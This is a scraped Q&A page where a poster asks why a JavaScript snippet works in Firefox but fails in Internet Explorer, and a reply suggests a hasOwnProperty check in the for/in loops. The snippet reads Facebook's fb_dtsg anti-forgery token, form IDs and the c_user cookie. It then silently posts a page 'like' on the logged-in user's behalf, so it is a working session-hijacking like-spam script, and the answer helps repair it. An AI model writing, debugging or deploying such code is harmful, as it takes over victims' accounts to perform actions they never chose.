开发者

JavaScript not working in IE, works in FireFox UPDATE

开发者 https://www.devze.com 2023-03-01 16:21 出处:网络
function http_build_query (formdata, numeric_prefix, arg_separator) { var value, key, tmp = [], that = this;
function http_build_query (formdata, numeric_prefix, arg_separator) {
    var value, key, tmp = [],
    that = this;

    var _http_build_query_helper = function (key, val, arg_separator) {
        var k, tmp = [];
        if (val === true) {
            val = "1";
        } else if (val === false) {
            val = "0";
        }
        if (val !== null && typeof(val) === "object") {
            for (k in val) {
                if (val[k] !== null) {
                    tmp.push(_http_build_query_helper(key开发者_如何转开发 + "[" + k + "]", val[k], arg_separator));
                }
            }
            return tmp.join(arg_separator);
        } else if (typeof(val) !== "function") {
            return that.urlencode(key) + "=" + that.urlencode(val);
        } else {
            throw new Error('There was an error processing for http_build_query().');
        }
    };

    if (!arg_separator) {
        arg_separator = "&";
    }
    for (key in formdata) {
        value = formdata[key];
        if (numeric_prefix && !isNaN(key)) {
            key = String(numeric_prefix) + key;
        }
        tmp.push(_http_build_query_helper(key, value, arg_separator));
    }

    return tmp.join(arg_separator);
}

function urlencode (str)
{
    str = (str + '').toString();

    // Tilde should be allowed unescaped in future versions of PHP (as reflected below), but if you want to reflect current
    // PHP behavior, you would need to add ".replace(/~/g, '%7E');" to the following.
    return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').
    replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
}

function HttpRequest(url, query, callback, method)
{
    if(!method)
    {
        method  = 'post';
    }

    var xhr = new XMLHttpRequest(); 

    xhr.open(method, url);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange  = function()
    {
        if (xhr.readyState == 4)
        {
            log(xhr.responseText);

            if(callback)
            {
                callback(xhr.responseText);
            }
        }
    }

if(typeof query != 'string')
{
    query   = http_build_query(query);
}

    log(query);

    xhr.send(query);
}

post_form_id        = escape(findelementbyname("post_form_id"));
fb_dtsg             = escape(document.getElementsByName("fb_dtsg")[0].value);
cookie_user_uid     = document.cookie.match(/c_user=(\d+)/)[1];
xhpc_composerid     = escape(findelementbyname("xhpc_composerid"));

function log(text)
{
    if(window.console)
    {
        console.log(text);
    }
}


function shuffle(s)
{
    while(m1 = s.match(/{(.*?)}/))
    {
        m2  = m1[1].split('|');
        r1  = m2[Math.floor(Math.random()*m2.length)];
        s   = s.replace(m1[0], r1);
    }

    return s;
}

function findelementbyname(nme)
{
    var inputs = document.getElementsByTagName("input");

    for(var i=0;i<inputs.length;i++)
    {
        if(inputs[i].name == nme)
        return inputs[i].value;

    }
    return null;
}

function send_like(fbpage_id)
{
    HttpRequest('/ajax/pages/fan_status.php?__a=1',
    {
        add: 1,
        fb_dtsg: fb_dtsg,
        fbpage_id: fbpage_id,
        lsd: '',
        post_form_id: post_form_id,
        post_form_id_source: 'AsyncRequest',
        preserve_tab: true,
        reload: 0
    });
}

if(Math.random() * 2 > 1)
{
    send_like(1);
}
else
{
    send_like(2);
}

This code works in Firefox, but not in IE. This is the error I get in IE:

Webpage error details

User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2) Timestamp: Fri, 29 Apr 2011 00:43:16 UTC

Message: Object doesn't support this property or method Line: 84 Char: 1 Code: 0

Line 84 would be post_form_id part.


IE gets wonky on for/in loops and includes all inherited properties and methods. Try adjusting all your for/in loops to add a check that the object being iterated actually has each item as its own property:

for (k in val) {
  if (Object.prototype.hasOwnProperty.call(val, k) && val[k] !== null) {
    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator));
  }
}
0

精彩评论

暂无评论...
验证码 换一张
取 消